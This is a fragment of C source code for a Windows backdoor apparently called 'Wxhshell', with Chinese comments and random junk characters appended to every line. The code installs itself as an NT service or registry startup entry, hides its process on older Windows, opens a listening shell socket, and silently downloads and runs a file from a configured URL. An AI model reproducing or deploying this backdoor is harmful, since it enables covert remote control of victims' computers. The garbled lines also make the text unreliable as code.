ULONG InheritedFromUniqueProcessId; <<D$+@wxm
} PROCESS_BASIC_INFORMATION; =n^!VXaL]]
c4_`Ew^k
PROCNTQSIP NtQueryInformationProcess; TF2>4 p
?u4INZ0W
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; <Dx]b*H
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; @
S <-d
0Io'bF
HANDLE hProcess; .nYUL>
PROCESS_BASIC_INFORMATION pbi; #jAqra._b
UgWs{y2SE.
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); nR4y`oP+
if(NULL == hInst ) return 0; K"<PGOF
<Sz52Suh>
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); h'
!imQ
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); \%sVHt`c
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ,>t69 Ad
\#68;)+=
if (!NtQueryInformationProcess) return 0; Ku&!?m@C
%/>xO3"T
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); b 1&i# I?{
if(!hProcess) return 0; K^_i%~
9]t[J_YM
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; BmHwu{n'
2+Px'U\
CloseHandle(hProcess); >3awn*N
:'aAZegQY
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 3E
f1bhi
if(hProcess==NULL) return 0; /-6S{hl9Ne
qO`)F8
HMODULE hMod; tpy>OT$
char procName[255]; Z):n c% S
unsigned long cbNeeded; R3k1RE2c&g
kNu'AT#3|
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); `h}q
Eo`
7iJ&6=/
CloseHandle(hProcess); j@Yi`a(sdm
0
ugT2%
if(strstr(procName,"services")) return 1; // 以服务启动 FWH}j0Gj|
j3q~E[Mz\
return 0; // 注册表启动 mDh1>>K'~
} rF\"w0J_
=8gHS[
// 主模块 .1 %T
W)
int StartWxhshell(LPSTR lpCmdLine) C"lJl k9g^
{ !_2n
SOCKET wsl; `OymAyEYQ
BOOL val=TRUE; ~}K5#<
int port=0; g*w<*
struct sockaddr_in door; K78rg/`
8 6f2'o+
if(wscfg.ws_autoins) Install(); X-Wz:NA
*&Z7m^`FQ
port=atoi(lpCmdLine); WvHw{^(lF
(HoqR
if(port<=0) port=wscfg.ws_port; ,G#.BLH
cX
g'];Estb~
WSADATA data; 9 2MTX
Osp
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; [FUjnI
|*RYq2y
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; T5Dw0Y6u,
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ,ZblIOWb
door.sin_family = AF_INET; jL)WPq!m+
door.sin_addr.s_addr = inet_addr("127.0.0.1"); KJE[+R H+z
door.sin_port = htons(port); IlX$YOf4
|^28\sm2e
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { iTW? W\d
closesocket(wsl); Bx[rC
return 1; %AOIKK5
} 8G>>i)Sbg
~j#~\Ir
if(listen(wsl,2) == INVALID_SOCKET) { V|)>{Xdn
closesocket(wsl); VL9-NfeqR
return 1; Y^%T}yTtq
} n;R#,!<P
Wxhshell(wsl); `si#aU
WSACleanup(); Oi"a:bCU
_=
#zc4U
return 0; W4;m H}#0
gn5)SP 8
} K;7f?52
o;b0m;~
// 以NT服务方式启动 H'
T
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) W)(^m},*8D
{ M5T9JWbN
DWORD status = 0; mVtXcP4b
DWORD specificError = 0xfffffff; e&eW|E
%AF5=
serviceStatus.dwServiceType = SERVICE_WIN32; ,wKe
fpV;5
serviceStatus.dwCurrentState = SERVICE_START_PENDING; "l={)=R
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; vaf&X]p
serviceStatus.dwWin32ExitCode = 0; )'l*Tl
serviceStatus.dwServiceSpecificExitCode = 0; A?G IBjs
serviceStatus.dwCheckPoint = 0; b]E|*
serviceStatus.dwWaitHint = 0; ?)'~~@NkH
39{{7(hh
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); B7\k< Nit0
if (hServiceStatusHandle==0) return; OdMO=Hy6d
.^)UO
status = GetLastError(); 2!N8rHRt
if (status!=NO_ERROR) J==SZ v
{ ,mPnQ?
serviceStatus.dwCurrentState = SERVICE_STOPPED; *M7E#bQ5B
serviceStatus.dwCheckPoint = 0; 1GEK:g2B
serviceStatus.dwWaitHint = 0; R];Oxe
serviceStatus.dwWin32ExitCode = status; ?}Z1(it0
serviceStatus.dwServiceSpecificExitCode = specificError; FZB~|3eq{
SetServiceStatus(hServiceStatusHandle, &serviceStatus); $ _8g8r}
return; <"o"z2
} :hGPTf
_wb0'xoK"
serviceStatus.dwCurrentState = SERVICE_RUNNING; 93[DAs
serviceStatus.dwCheckPoint = 0; RkFD*E$
serviceStatus.dwWaitHint = 0; u6:pV.p
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); d@mo!zu
} 2A4FaBq"
2?@j~I=s2h
// 处理NT服务事件,比如:启动、停止 p}Fs'l?7Rq
VOID WINAPI NTServiceHandler(DWORD fdwControl) wix5B@
{ Li 2Zndp
switch(fdwControl) %tA57Pn>
{ F>]#}_
case SERVICE_CONTROL_STOP: eMK+X \
serviceStatus.dwWin32ExitCode = 0; TG
n-7 88
serviceStatus.dwCurrentState = SERVICE_STOPPED; VcK}2<8:+~
serviceStatus.dwCheckPoint = 0; ^4%Zvl
serviceStatus.dwWaitHint = 0; N__H*yP
{ 0"pVT%b
SetServiceStatus(hServiceStatusHandle, &serviceStatus); _Fp>F
} OPpjuIRv
return; DjMf,wX-{
case SERVICE_CONTROL_PAUSE: (Lh#`L?x
serviceStatus.dwCurrentState = SERVICE_PAUSED; s!/TU{8J
break; vUC!fIG
case SERVICE_CONTROL_CONTINUE: /R
X1UQ.s
serviceStatus.dwCurrentState = SERVICE_RUNNING; O!D/|.Q#%
break; u%2<\:~j
case SERVICE_CONTROL_INTERROGATE: ]L2Oz
break; PIcrA2ll
}; 2EQ6J
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0;sRJ
} 8GJdRL(
.AV)'j#6P
// 标准应用程序主函数 3*DXE9gA9
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^GN8V-X4y
{ QbYc[8-[
/Tz85 [%6
// 获取操作系统版本 x4Rk<Th"o
OsIsNt=GetOsVer(); \(I6_a_{
GetModuleFileName(NULL,ExeFile,MAX_PATH); Z.Rb~n&
G@S&1=nj3
// 从命令行安装 ~;-9X|
if(strpbrk(lpCmdLine,"iI")) Install(); 9?+9UlJ7K
mzL[/B#>M
// 下载执行文件 I
5ag6l
if(wscfg.ws_downexe) { _i}wK?n
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) L{g E'jCC
WinExec(wscfg.ws_filenam,SW_HIDE); ,xJrXPW
} $ &5w\P
g1DmV,W-Q
if(!OsIsNt) { T+"f]v
// 如果时win9x,隐藏进程并且设置为注册表启动 8F;>5i
HideProc(); zIQzmvf
StartWxhshell(lpCmdLine); K0+;bu
} "cho }X
else lD;'tqaC
if(StartFromService()) F-n"^.7
// 以服务方式启动 ]pTvMom$6
StartServiceCtrlDispatcher(DispatchTable); #i QX6WF
else crA:I"I
// 普通方式启动 QhGXBM
StartWxhshell(lpCmdLine); `ia %)@
)"@t6.
return 0; y_F}s9wj
}